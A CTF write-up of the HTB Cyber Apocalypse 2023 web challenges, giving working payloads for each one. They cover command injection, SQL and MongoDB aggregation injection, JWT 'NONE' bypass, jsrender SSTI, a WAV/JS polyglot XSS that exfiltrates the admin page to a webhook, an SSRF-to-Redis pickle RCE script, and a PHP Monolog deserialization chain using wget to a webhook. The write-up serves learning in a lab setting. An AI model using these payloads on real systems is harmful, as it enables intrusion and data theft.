HTB Cyber Apocalypse 2023

I managed to flag 8 out 9 web challenges during the CTF, and got really close in the last one. The challenges were divided into categories by their difficulty level. There were 3 very easy, 2 easy, 2 medium, and 2 hard challenges

For the "very easy" category, i'll do a only a brief mention of the vulnerabilties that are involved, that's because they are, well, very easy

Very Easy

Trapped Source

The code to unlock the locker is stored client-side, so just inspect the page with the dev tools and submit the code you find

Gunhead

We can use a control panel to run some command. One of this command is `ping` which actually, server-side, is called by a `shell_exec` . So we have an OS Command Injection in which we need to break out the ping command and execute whatever we like

```
/ping ; cat /flag.txt
```

Drobots

The login functionality is flawed due to the fact that the user input is inserted directly into the query, so with a simple SQL Injection we can bypass the login.

```
" or 1=1 -- -
```

Easy

Passman

The entire application lays on graphql, both the functionality of registering and login uses graphql mutation.
Looking at the source code we can clearly see that all the mutation exposed by the application are provided, one of them is really interesting

```
UpdatePassword: {
    type: ResponseType,
    args: {
        username: { type: new GraphQLNonNull(GraphQLString) },
        password: { type: new GraphQLNonNull(GraphQLString) }
    },
    resolve: async (root, args, request) => {
        return new Promise((resolve, reject) => {
            if (!request.user) return reject(new GraphQLError('Authentication required!'));

            db.updatePassword(args.username, args.password)
                .then(() => resolve(response("Password updated successfully!")))
                .catch(err => reject(new GraphQLError(err)));
        });
    }
},
```

Because the mutation doesn't check the old password of the given users, we can try to update the password of the admin and login as administrator with our provided password

Orbital

In this application there is a login page, but no registration page is provided. So it's clear that we have to bypass the login as the first thing. Looking at the source code we can see how the query for the login works

```python
def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
    else:
        return False
```

The first thing that came to my mind is using some sort of `INSERT INTO` query to add an arbitrary user to the application. But it didn't work because stacked query where disabled. After googling around i've found a similar challenge that uses a very cool trick

If we use `union select "admin","password"` as part of the query, it will return back to us the values that we provide as part of the select statement. So we can manipulate the content of the response

Creating a query like `" union select "admin","md5_of_password` as username value and giving as password value our password before getting hashed, we can bypass the login

Here is the reference to the CTF challenge https://gist.github.com/bubba-h57/3528356

After logging in, we can simply read the flag by using the `/export` endpoint

```python
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    communicationName = data.get('name', '')

    try:
        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
    except:
        return response('Unable to retrieve the communication'), 400
```

```
# copy flag
COPY flag.txt /signal_sleuth_firmware
COPY files /communications/
```

The name of the flag is given by the dockerfile

Medium

Didactic Octo Paddles

Even in this challenge we need to access the admin panel in order to read the flag. The login with as admin is controlled by this middleware

```
const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};
```

As you can see, it checks if the algorithm used to sign the JWT is `none` and if that is true it redirects us to the login page.
If the middleware doesn't recognize the algorithm used, it verify the cookie with no key. The checks can be bypassed by using `NONE` as algorithm and by changing the user id from 2 to 1

Once we can login to the admin page, we can clearly see from the source code that the application uses jsrender to render a template with all the users registered in the application.
Since no sanification is used in the rendering, we can use a malicious template to achieve SSTI and read the flag

```
{{:"pwnd".toString.constructor.call({},"return
global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
```

SpyBug

In this challenge there is a bot that logs in every 6 seconds, and in his homepage is stored the flag alongside with all the agents. It's clear that this is an XSS challenge.
There is the CSP that specify `script-src 'self'` so to perform an XSS the only way is to upload a file and then use it as source for a script tag.
We can upload a recording for a proper agent, so the first thing that we need to do is to create an agent via the endpoint `/agents/register`.

This will give us the identifier and token that we are going to use to make the upload. To make the upload we need to make a post request to the `/agents/upload/:identifier/:token` endpoint

```
router.post(
  "/agents/upload/:identifier/:token",
  authAgent,
  multerUpload.single("recording"),
  async (req, res) => {
    if (!req.file) return res.sendStatus(400);

    const filepath = path.join("./uploads/", req.file.filename);
    const buffer = fs.readFileSync(filepath).toString("hex");

    if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) {
      fs.unlinkSync(filepath);
      return res.sendStatus(400);
    }

    await createRecording(req.params.identifier, req.file.filename);
    res.send(req.file.filename);
  }
);
```

The endpoint uses multer to make te file upload for a file named recording. The file must ending with the `.wav` extension and be an `audio/wave` file, these checks are implemented into the `multerUpload` function. If the checks are passed the file will be uploaded

```
const multerUpload = multer({
  storage: storage,
  fileFilter: (req, file, cb) => {
    if (
      file.mimetype === "audio/wave" &&
      path.extname(file.originalname) === ".wav"
    ) {
      cb(null, true);
    } else {
      return cb(null, false);
    }
  },
});
```

Honestly i didn't know anything about a way to perform xss via wave file, so i thought to bypass the checks. After the file is uploaded even though we can manipulate the Content-Type header, the content of the file is checkd to match a certain regex.
The regex is an hex encoding of the wave header, so the file must be a wave file.

After googling a bit i found a writeup about a challenge that uses a wave file to perform xss, and that was really cool.
The browser can accept a wave file as value for a src attribute in a script tag and can render it as a js file. So the goal is to create a wave file with the header commented just to be sure that there are no errors in the file while rendered as js file.

```
00000000: 5249 4646 3d31 2f2a 5741 5645 666d 7420  RIFF=1/*WAVEfmt
```

```
00000010: 1000 0000 0100 0100 c05d 0000 80bb 0000  .........]......
00000020: 0200 1000 4c49 5354 1a00 0000 494e 464f  ....LIST....INFO
00000030: 4953 4654 0e00 0000 4c61 7666 3537 2e38  ISFT....Lavf57.8
00000040: 332e 3130 3000 6461 7461 80d8 0100 0000  3.100.data......
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 ffff 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 2a2f 0a3b 616c 6572  ........*/.;aler
000000d0: 7428 3129 3b0a                           t(1);.
```

The file was nicely copied from the writeup of the ctf challenge, and modified in Burp to perform a fetch to our webhook with all the home page of the admin. So we have changed the alert with `fetch("http://webhook/?f="+document.body.innerHTML)`
Here you can find the original writeup where i learned about this technique https://ctftime.org/writeup/10018

Now we need to find a way to perfom an HTML injection for our script tag. This one was easy, because we can upadte the agent's information with the `/agents/details/:identifier/:token/`

```
router.post(
  "/agents/details/:identifier/:token",
  authAgent,
  async (req, res) => {
    const { hostname, platform, arch } = req.body;
    if (!hostname || !platform || !arch) return res.sendStatus(400);
    await updateAgentDetails(req.params.identifier, hostname, platform, arch);
    res.sendStatus(200);
  }
);
```

These information then are rendered into the home page of the admin without any sanification.
So, in the end, we need to:

- Upload a malicious wave file with our js payload to exfiltrate the body of the homepage
- Change one of the agent information with `<script src=/upload/:id_of_uploaded_wave_file ></script>`
- Wait that the bot will login and get the flag to our webhook

Hard

TrapTrack

After giving a quick look at the sources i've found a really interesting piece of code in the `cache.py` file

```python
def create_job_queue(trapName, trapURL):
    job_id = get_job_id()

    data = {
        'job_id': int(job_id),
        'trap_name': trapName,
        'trap_url': trapURL,
        'completed': 0,
        'inprogress': 0,
        'health': 0
    }

    current_app.redis.hset(env('REDIS_JOBS'), job_id, base64.b64encode(pickle.dumps(data)))

    current_app.redis.rpush(env('REDIS_QUEUE'), job_id)

    return data

def get_job_queue(job_id):
    data = current_app.redis.hget(env('REDIS_JOBS'), job_id)
    if data:
        return pickle.loads(base64.b64decode(data))

    return None
```

The `get_job_queue` function uses `pickle.loads` to deserialize some data. The function perform insecure deserialization over the data, that can lead to RCE. So i think that it's clear that our goal is to reach this point.
The data used in the malicious function is taken with the help of Redis and it's `hget` method with the job id as a key.

The data was previously set by the `create_job_queue` function, which create an object with our input and after serializing it, is saved using `hset` from Redis using the job id as key.
Since our input is treated as a string there is no way that calling first `create_job_queue` with our malicious input and then `get_job_queue` will lead to an RCE.
We need to find a workaround.

In the application is also possible to create tracks, with a title and a url. Over each track created is performed a status check. It consist only of a request to the url we provide, to verify if it's live or not. After thinking for a bit i realized that we can provide any url that we want with any schema that we want.
This can be really useful, because in this way we can interact with Redis using the gopher protocol to inject Redis command.

With this new gadget we can actually set the value of the to an arbitrary malicious pickle serialized object that we provide for a given job id
In the `config.py` is disclosed the port where Redis is running alongside with the credentials to login in the web application

The last thing to notice is that there is a proper program that allows us to read the flag which is `/readflag`

So we need to:

- Log in with the disclosed credentials
- Create a malicious serialized payload with pickle.dumps
- Create a track with the url as `gopher://127.0.0.1:6379//%0d%0aHSET%20jobs%20ID%20PICKLE_OBJECT%0d%0a`
- Perform the status check over the track created to fire the request to Redis
- Retrieve the tracks for our injected job id to deserialze the payload and perform RCE and get the flag

Here is the exploit

```python
import requests
import pickle
import os
import base64
import time
import sys

url = "" #your instance of the challenge
```

```
cookie = {"session":""} #admin cookie, credentials are in the source code admin:admin

class RCE:
        def __reduce__(self):
                import os
                cmd = ('wget http://webhook/?exploited=$(/readflag)')
                return os.system, (cmd,)

pickled = base64.b64encode(pickle.dumps(RCE()))
ID=str(sys.argv[1]) #every time we need to give manually a new id

def send_exploit():
        print("[+] Sending Exploit")
        myobj =
{"trapName":"exploiters","trapURL":"gopher://127.0.0.1:6379/%0d%0aHSET%20jobs%20"+ID+"%20"+pickled.decod
e("utf-8")+"%0d%0a"}
        x = requests.post(url+"/api/tracks/add" , cookies=cookie, json=myobj)
        print(x.text)
        print("[+]Now Sleeping") #we need time to sleep because if we go too fast nothing will work
        time.sleep(3)
        x = requests.get(url+"/api/tracks/list" , cookies=cookie)
        print(x.text)

def retrive_exploit():
        print("[+]Firing exploit, check your webhook")
        x = requests.get(url+"/api/tracks/"+ID+"/status", cookies=cookie)
        print(x.text)

# used for testing/flushes purposes
def flush():
        myobj = {"trapName":"exploiters","trapURL":"gopher://127.0.0.1:6379/%0d%0aFLUSHALL"}
        x = requests.post(url+"/api/tracks/add" , cookies=cookie, json=myobj)

send_exploit()
retrive_exploit()
```

UnEarthly Shop

I haven't solved this challenge during the CTF, but i've got very close to the solution.
In this challenge there a lot of sources, but from the fact that the `readflag` file is present, it's clear that we need to achieve RCE.

Giving a quick look to all the files we can find our sink to get RCE in the `UserModel.php` file

```
class UserModel extends Model
{
    public function __construct()
    {
        parent::__construct();
        $this->username = $_SESSION['username'] ?? '';
        $this->email    = $_SESSION['email'] ?? '';
        $this->access   = unserialize($_SESSION['access'] ?? '');
    }
```

The access parameter, taken by the session is passed to the unserialize. Now, even in this challenge, there is no register page. So we must find a way to register a user or bypass the login as admin

The application uses MongoDB which is a NoSQL type database, and so i immediately thought about a NoSQL Injection. We have a few endpoint which we can interact with, even though we are not logged in.

```
$router = new Router();
$router->new("GET", "/", "ShopController@index");
$router->new("POST", "/api/products", "ShopController@products");
$router->new("POST", "/api/order", "ShopController@order");
```

I was looking for something that was somehow working with the users, but i've found nothing about it. After thinking a bit about what i can do with the things that i have, i've read once again how the query to the database are made

```
public function query($collection, $query)
{
    $collection = $this->db->$collection;

    $cursor = $collection->aggregate($query);

    if (!$cursor) {
        return false;
    }

    $rows = [];

    foreach ($cursor as $row) {
        array_push($rows, $row->jsonSerialize());
    }

    return $rows;
}
```

The query uses `aggregate` and since i've never heard of it, i've started googling about it. Turns out that an aggregation consists of more stages that process documents, so we can actually use more operations over the same document.

After diving into the MongoDB documentation i've found a very cool gadget called `out` . This can help us to write the result of an operation to another collection, which in our case can be the users collecation and so bypass the login.

So the flow is the following:

- using `project` to create an arbitrary response in the document
- using `match` to actually get only one result
- using `out` to write over the users collection
- login with our supplied credentials

```
[
    {
        "$project":{
            "username":"maitai",
            "password":"maitai",
            "access":""
        }
    },
    {
        "$match":{
            "_id":1
        }
    },
    {
        "$out":"users"
    }
]
```

This is how the aggregation looks like

As you can see we can specify even the access parameter, that will be deserialized once we try to log in.
I've started looking for a deserialzation gadget in the backend since there is where the deserialization happens, but i wasn't able to find any gadget to use. This is were i've ended my free time to play the CTF, and gave up.

One could notice that in the frontend there were some exploitable gadgets, but how we can find a way to call these gadget from the backend?
Well here this very intersting part, we have an autoloader on this application, and its purpose is to load classes.

It turns out that this autoload is broken

```
spl_autoload_register(function ($name) {
    if (preg_match('/Controller$/', $name)) {
        $name = "controllers/${name}";
    } elseif (preg_match('/Model$/', $name)) {
        $name = "models/${name}";
    } elseif (preg_match('/_/', $name)) {
        $name = preg_replace('/_/', '/', $name);
    }

    $filename = "/${name}.php";

    if (file_exists($filename)) {
        require $filename;
    }
    elseif (file_exists(__DIR__ . $filename)) {
        require __DIR__ . $filename;
    }
});
```

The problem is here is the fact that if our class name has a `_` in it is converted into `/` . This can be really useful because with this trick we can specify an entire path for a class to be loaded.

Credits to https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable

We are going to load the autoloader of the frontend which then would load the vulnerable libraries.
So, we create a class called `www_frontend_vendor_autoload` which then whill be converted from the backend autoloader
Then we go for a Monolog gadget to get RCE

Once again the flow is:

- create a `www_frontend_vendor_autoload.php` file just for the sake of loading another class
- get from phpgcc the source of the Monolog gadget
- create our exploit and send it

In the end this we'll be our exploit

```php
<?php

require "www_frontend_vendor_autoload.php";
require "MonoLogRCE.php";

$obj = new www_frontend_vendor_autoload;
$exp = new \Monolog\Handler\FingersCrossedHandler(['pos','system'],['wget http://webhook/?f=$(/readflag)','level' => 0]);

var_dump(json_encode(serialize([$obj,$exp])));
```

It will give us the serialized payload to put inside the query, the we can just try to login and see that at our webhook is arrived a request with the flag